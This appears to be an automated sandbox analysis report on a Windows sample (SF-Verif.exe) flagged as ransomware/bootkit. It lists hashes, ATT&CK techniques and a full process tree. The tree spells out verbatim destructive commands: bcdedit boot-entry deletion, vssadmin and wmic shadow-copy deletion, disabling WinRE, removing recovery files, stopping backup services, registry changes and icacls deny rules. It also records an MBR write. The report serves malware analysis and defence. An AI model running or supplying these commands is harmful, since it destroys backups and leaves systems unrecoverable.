f48579841861251aba18b0435161cf47fb8562795e95b3260f00783995b7a89d

Analysis

max time kernel
22s
max time network
71s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
23/05/2026, 23:13

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

Reason

Machine shutdown

General

Target
SF-Verif.exe
Size 667KB
Sample260523-27f8msfs5x
SHA256 f48579841861251aba18b0435161cf47fb8562795e95b3260f00783995b7a89d
MD5 2c8984791654131150a122e28c61e83a
SHA1 81eea917a7f5e27de1b8e29710f94737c2a21039
SHA512 78e29afa9e3c78ecdc1a8f35baf071a85e41811826533d7a31375cd83f196feb2e16e17da1fac98c55730a86bd5dd2abb225dedd4a67099fdc042466a0f88439
SSDEEP 6144:VHC8wQEYBqUvqAFUWje6DTprqdQk+Pbahqu3NUYslUvRM/TaRth86cEcm:c9YRvq9Wjrn5sQ72B3nslLGth83EH
TLSH
T1B2E4087AF71219ADC05F437B85A587E195902685F334A6B702B48E537AE34C24F3AFC2
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

bootkit defense_evasion discovery evasion execution impact persistence ransomware

Malware Config

Signatures

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Modifies boot configuration data using bcdedit 1 TTPs 19 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
3756	bcdedit.exe
1376	bcdedit.exe
4328	bcdedit.exe
4700	bcdedit.exe
4344	bcdedit.exe
2964	bcdedit.exe
1300	bcdedit.exe
3132	bcdedit.exe
276	bcdedit.exe
300	bcdedit.exe
5012	bcdedit.exe
2028	bcdedit.exe
3784	bcdedit.exe
1688	bcdedit.exe
3696	bcdedit.exe
2240	bcdedit.exe
5504	bcdedit.exe
4532	bcdedit.exe
2752	bcdedit.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Modifies file permissions 1 TTPs 5 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
804	icacls.exe
4648	icacls.exe
2860	icacls.exe
3248	icacls.exe
2020	icacls.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Indicator Removal: Clear Persistence 1 TTPs 3 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
3680	cmd.exe
3820	cmd.exe
384	cmd.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PhysicalDrive0	SF-Verif.exe

Launches sc.exe 14 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3120	sc.exe
3132	sc.exe
4708	sc.exe
4444	sc.exe
1484	sc.exe
3488	sc.exe
4820	sc.exe
4644	sc.exe
1944	sc.exe
4484	sc.exe
388	sc.exe
2024	sc.exe
2112	sc.exe
4748	sc.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
1132	msedge.exe

Interacts with shadow copies 3 TTPs 2 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
648	vssadmin.exe
3284	vssadmin.exe

Kills process with taskkill 1 IoCs

defense_evasion

pid	Process
1424	taskkill.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
4052	reg.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 1500 wrote to memory of 3328	1500	SF-Verif.exe	87
PID 1500 wrote to memory of 556	1500	SF-Verif.exe	100
PID 556 wrote to memory of 3756	556	cmd.exe	102
PID 1500 wrote to memory of 1648	1500	SF-Verif.exe	103
PID 1648 wrote to memory of 1376	1648	cmd.exe	247
PID 1500 wrote to memory of 1336	1500	SF-Verif.exe	106
PID 1336 wrote to memory of 4328	1336	cmd.exe	108

Views/modifies file attributes 1 TTPs 3 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
3328	attrib.exe
4000	attrib.exe
5908	attrib.exe

C:\Users\Admin\AppData\Local\Temp\SF-Verif.exe
"C:\Users\Admin\AppData\Local\Temp\SF-Verif.exe"
1⤵
- Writes to the Master Boot Record (MBR)
- Suspicious use of WriteProcessMemory
PID:1500
- C:\Windows\SYSTEM32\attrib.exe
  attrib +h +s "C:\Users\Admin\AppData\Local\Temp\SF-Verif.exe"
  2⤵
  - Views/modifies file attributes
  PID:3328
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:556
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy ignoreallfailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3756
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {default} recoveryenabled No
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1648
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1376
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /delete {default} /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1336
- - C:\Windows\system32\bcdedit.exe
    bcdedit /delete {default} /f
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:4328
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /delete {bootmgr} /f
  2⤵
  PID:1388
- - C:\Windows\system32\bcdedit.exe
    bcdedit /delete {bootmgr} /f
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:4700
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /delete {current} /f
  2⤵
  PID:2848
- - C:\Windows\system32\bcdedit.exe
    bcdedit /delete {current} /f
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:4344
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /delete {memdiag} /f
  2⤵
  PID:4312
- - C:\Windows\system32\bcdedit.exe
    bcdedit /delete {memdiag} /f
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2964
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {globalsettings} advancedoptions false
  2⤵
  PID:3732
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {globalsettings} advancedoptions false
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1300
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {globalsettings} optionsedit false
  2⤵
  PID:1804
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {globalsettings} optionsedit false
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3132
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reagentc /disable
  2⤵
  PID:4824
- - C:\Windows\system32\ReAgentc.exe
    reagentc /disable
    3⤵
    PID:3092
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wmic shadowcopy delete /nointeractive
  2⤵
  PID:968
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete /nointeractive
    3⤵
    PID:660
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c vssadmin delete shadows /all /quiet
  2⤵
  PID:2464
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:648
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reagentc /disable 2>nul
  2⤵
  PID:3060
- - C:\Windows\system32\ReAgentc.exe
    reagentc /disable
    3⤵
    PID:4948
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c rd /s /q "C:\Recovery" 2>nul
  2⤵
  PID:3376
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c rd /s /q "%SystemDrive%\Recovery" 2>nul
  2⤵
  PID:4220
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c vssadmin delete shadows /all /quiet 2>nul
  2⤵
  PID:4544
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:3284
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wmic shadowcopy delete /nointeractive 2>nul
  2⤵
  PID:1416
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete /nointeractive
    3⤵
    PID:4536
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v DisableConfig /t REG_DWORD /d 1 /f 2>nul
  2⤵
  PID:2040
- - C:\Windows\system32\reg.exe
    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v DisableConfig /t REG_DWORD /d 1 /f
    3⤵
    PID:2408
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f 2>nul
  2⤵
  PID:1520
- - C:\Windows\system32\reg.exe
    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f
    3⤵
    PID:4944
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f 2>nul
  2⤵
  PID:5020
- - C:\Windows\system32\reg.exe
    REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f
    3⤵
    PID:4364
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c rd /s /q "C:\Windows\System32\Recovery" 2>nul
  2⤵
  PID:3036
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config "wbengine" start= disabled 2>nul
  2⤵
  PID:2788
- - C:\Windows\system32\sc.exe
    sc config "wbengine" start= disabled
    3⤵
    - Launches sc.exe
    PID:3120
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop "wbengine" 2>nul
  2⤵
  PID:2372
- - C:\Windows\system32\sc.exe
    sc stop "wbengine"
    3⤵
    - Launches sc.exe
    PID:3132
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c del /f /q "%SystemRoot%\System32\ResetEngine.exe" 2>nul
  2⤵
  PID:4840
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c del /f /q "%SystemRoot%\System32\pbr.exe" 2>nul
  2⤵
  PID:3800
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c del /f /q "%SystemRoot%\System32\recenv.exe" 2>nul
  2⤵
  PID:3948
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop "wbengine" 2>nul
  2⤵
  PID:2460
- - C:\Windows\system32\sc.exe
    sc stop "wbengine"
    3⤵
    - Launches sc.exe
    PID:1944
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config "wbengine" start= disabled 2>nul
  2⤵
  PID:284
- - C:\Windows\system32\sc.exe
    sc config "wbengine" start= disabled
    3⤵
    - Launches sc.exe
    PID:4484
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop "SDRSVC" 2>nul
  2⤵
  PID:4812
- - C:\Windows\system32\sc.exe
    sc stop "SDRSVC"
    3⤵
    - Launches sc.exe
    PID:4708
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config "SDRSVC" start= disabled 2>nul
  2⤵
  PID:4520
- - C:\Windows\system32\sc.exe
    sc config "SDRSVC" start= disabled
    3⤵
    - Launches sc.exe
    PID:4444
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop "VSS" 2>nul
  2⤵
  PID:3300
- - C:\Windows\system32\sc.exe
    sc stop "VSS"
    3⤵
    - Launches sc.exe
    PID:1484
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config "VSS" start= disabled 2>nul
  2⤵
  PID:4396
- - C:\Windows\system32\sc.exe
    sc config "VSS" start= disabled
    3⤵
    - Launches sc.exe
    PID:388
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop "swprv" 2>nul
  2⤵
  PID:3376
- - C:\Windows\system32\sc.exe
    sc stop "swprv"
    3⤵
    - Launches sc.exe
    PID:2024
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config "swprv" start= disabled 2>nul
  2⤵
  PID:1868
- - C:\Windows\system32\sc.exe
    sc config "swprv" start= disabled
    3⤵
    - Launches sc.exe
    PID:3488
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop "vds" 2>nul
  2⤵
  PID:4980
- - C:\Windows\system32\sc.exe
    sc stop "vds"
    3⤵
    - Launches sc.exe
    PID:2112
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config "vds" start= disabled 2>nul
  2⤵
  PID:972
- - C:\Windows\system32\sc.exe
    sc config "vds" start= disabled
    3⤵
    - Launches sc.exe
    PID:4820
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop "Winmgmt" 2>nul
  2⤵
  PID:3792
- - C:\Windows\system32\sc.exe
    sc stop "Winmgmt"
    3⤵
    - Launches sc.exe
    PID:4748
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config "Winmgmt" start= disabled 2>nul
  2⤵
  PID:4364
- - C:\Windows\system32\sc.exe
    sc config "Winmgmt" start= disabled
    3⤵
    - Launches sc.exe
    PID:4644
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows\CloudContent" /v DisableWindowsConsumerFeatures /t REG_DWORD /d 1 /f 2>nul
  2⤵
  PID:2436
- - C:\Windows\system32\reg.exe
    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows\CloudContent" /v DisableWindowsConsumerFeatures /t REG_DWORD /d 1 /f
    3⤵
    PID:4224
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c REG ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v NoRepairOptions /t REG_DWORD /d 1 /f 2>nul
  2⤵
  PID:3228
- - C:\Windows\system32\reg.exe
    REG ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v NoRepairOptions /t REG_DWORD /d 1 /f
    3⤵
    PID:4540
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v DisableAdvancedStartupOptions /t REG_DWORD /d 1 /f 2>nul
  2⤵
  PID:2512
- - C:\Windows\system32\reg.exe
    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v DisableAdvancedStartupOptions /t REG_DWORD /d 1 /f
    3⤵
    PID:1372
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" /v WINREFLAGS /t REG_DWORD /d 0 /f 2>nul
  2⤵
  PID:4840
- - C:\Windows\system32\reg.exe
    REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" /v WINREFLAGS /t REG_DWORD /d 0 /f
    3⤵
    PID:2760
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {default} bootmenupolicy standard 2>nul
  2⤵
  PID:1696
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootmenupolicy standard
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:276
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {default} recoveryenabled No 2>nul
  2⤵
  PID:4248
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:300
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {bootmgr} displaybootmenu no 2>nul
  2⤵
  PID:288
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {bootmgr} displaybootmenu no
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5012
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {bootmgr} timeout 0 2>nul
  2⤵
  PID:2324
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {bootmgr} timeout 0
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2028
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {globalsettings} advancedoptions false 2>nul
  2⤵
  PID:5096
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {globalsettings} advancedoptions false
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3784
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {globalsettings} optionsedit false 2>nul
  2⤵
  PID:3640
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {globalsettings} optionsedit false
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1688
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c schtasks /delete /tn "\Microsoft\Windows\RecoveryEnvironment\VerifyWinRE" /f 2>nul
  2⤵
  - Indicator Removal: Clear Persistence
  PID:3680
- - C:\Windows\system32\schtasks.exe
    schtasks /delete /tn "\Microsoft\Windows\RecoveryEnvironment\VerifyWinRE" /f
    3⤵
    PID:3868
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c schtasks /delete /tn "\Microsoft\Windows\WindowsBackup\AutomaticBackup" /f 2>nul
  2⤵
  - Indicator Removal: Clear Persistence
  PID:3820
- - C:\Windows\system32\schtasks.exe
    schtasks /delete /tn "\Microsoft\Windows\WindowsBackup\AutomaticBackup" /f
    3⤵
    PID:3488
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c schtasks /delete /tn "\Microsoft\Windows\WindowsBackup\Windows Backup Monitor" /f 2>nul
  2⤵
  - Indicator Removal: Clear Persistence
  PID:384
- - C:\Windows\system32\schtasks.exe
    schtasks /delete /tn "\Microsoft\Windows\WindowsBackup\Windows Backup Monitor" /f
    3⤵
    PID:1376
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c del /f /q "C:\sources\install.wim" 2>nul
  2⤵
  PID:2052
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c del /f /q "C:\sources\install.esd" 2>nul
  2⤵
  PID:2408
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c del /f /q "C:\Windows\System32\Recovery\winre.wim" 2>nul
  2⤵
  PID:1536
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c rd /s /q "C:\$WinREAgent" 2>nul
  2⤵
  PID:568
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c rd /s /q "C:\Recovery" 2>nul
  2⤵
  PID:2796
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c del /f /q "F:\sources\install.wim" 2>nul
  2⤵
  PID:212
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c del /f /q "F:\sources\install.esd" 2>nul
  2⤵
  PID:2708
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c del /f /q "F:\Windows\System32\Recovery\winre.wim" 2>nul
  2⤵
  PID:3236
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c rd /s /q "F:\$WinREAgent" 2>nul
  2⤵
  PID:2872
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c rd /s /q "F:\Recovery" 2>nul
  2⤵
  PID:1420
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c icacls "C:\Windows\System32\ResetEngine.exe" /deny Everyone:(F) /T /C /Q 2>nul
  2⤵
  PID:1360
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\ResetEngine.exe" /deny Everyone:(F) /T /C /Q
    3⤵
    - Modifies file permissions
    PID:2860
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c icacls "C:\Windows\System32\pbr.exe" /deny Everyone:(F) /T /C /Q 2>nul
  2⤵
  PID:2640
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\pbr.exe" /deny Everyone:(F) /T /C /Q
    3⤵
    - Modifies file permissions
    PID:3248
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c icacls "C:\Windows\System32\recenv.exe" /deny Everyone:(F) /T /C /Q 2>nul
  2⤵
  PID:1432
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\recenv.exe" /deny Everyone:(F) /T /C /Q
    3⤵
    - Modifies file permissions
    PID:2020
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c icacls "C:\Windows\System32\rstrui.exe" /deny Everyone:(F) /T /C /Q 2>nul
  2⤵
  PID:2820
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\rstrui.exe" /deny Everyone:(F) /T /C /Q
    3⤵
    - Modifies file permissions
    PID:804
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c icacls "C:\Windows\System32\reagentc.exe" /deny Everyone:(F) /T /C /Q 2>nul
  2⤵
  PID:4444
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\reagentc.exe" /deny Everyone:(F) /T /C /Q
    3⤵
    - Modifies file permissions
    PID:4648
- C:\Windows\SYSTEM32\attrib.exe
  attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe"
  2⤵
  - Views/modifies file attributes
  PID:4000
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument C:\Users\Admin\AppData\Local\Temp\music67.html
  2⤵
  PID:4040
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2c4,0x2c8,0x2cc,0x2c0,0x35c,0x7ffa8415c188,0x7ffa8415c194,0x7ffa8415c1a0
    3⤵
    PID:3912
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1624,i,18011549364904954556,5324007854791360674,262144 --field-trial-handle=2444,i,2412250968889577469,8597334979865973945,262144 --variations-seed-version --mojo-platform-channel-handle=2440 /prefetch:2
    3⤵
    PID:3132
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1832,i,3013127412113308847,12912894782183661623,524288 --field-trial-handle=2444,i,2412250968889577469,8597334979865973945,262144 --variations-seed-version --mojo-platform-channel-handle=2772 /prefetch:3
    3⤵
    - System Time Discovery
    PID:1132
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2308,i,10548963281194223203,9541065432952665879,524288 --field-trial-handle=2444,i,2412250968889577469,8597334979865973945,262144 --variations-seed-version --mojo-platform-channel-handle=2796 /prefetch:8
    3⤵
    PID:4912
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3476,i,3597574778831381285,11896876931160613402,2097152 --field-trial-handle=2444,i,2412250968889577469,8597334979865973945,262144 --variations-seed-version --mojo-platform-channel-handle=3420 /prefetch:1
    3⤵
    PID:2020
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3480,i,5481536730504716173,10618758693215339568,2097152 --field-trial-handle=2444,i,2412250968889577469,8597334979865973945,262144 --variations-seed-version --mojo-platform-channel-handle=3568 /prefetch:1
    3⤵
    PID:468
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4308,i,11050044621025134516,6647794378240320131,2097152 --field-trial-handle=2444,i,2412250968889577469,8597334979865973945,262144 --variations-seed-version --mojo-platform-channel-handle=4340 /prefetch:1
    3⤵
    PID:3032
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4320,i,472139530030789215,14466079790605689730,2097152 --field-trial-handle=2444,i,2412250968889577469,8597334979865973945,262144 --variations-seed-version --mojo-platform-channel-handle=4344 /prefetch:2
    3⤵
    PID:4776
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --always-read-main-dll --metrics-shmem-handle=4656,i,17945246831781734444,312163041358671297,2097152 --field-trial-handle=2444,i,2412250968889577469,8597334979865973945,262144 --variations-seed-version --mojo-platform-channel-handle=4680 /prefetch:1
    3⤵
    PID:2988
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5432,i,8453829706787559977,5102704133392372318,524288 --field-trial-handle=2444,i,2412250968889577469,8597334979865973945,262144 --variations-seed-version --mojo-platform-channel-handle=3544 /prefetch:8
    3⤵
    PID:5936
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3464,i,3379541142754536383,5798784160493159082,524288 --field-trial-handle=2444,i,2412250968889577469,8597334979865973945,262144 --variations-seed-version --mojo-platform-channel-handle=3376 /prefetch:8
    3⤵
    PID:5956
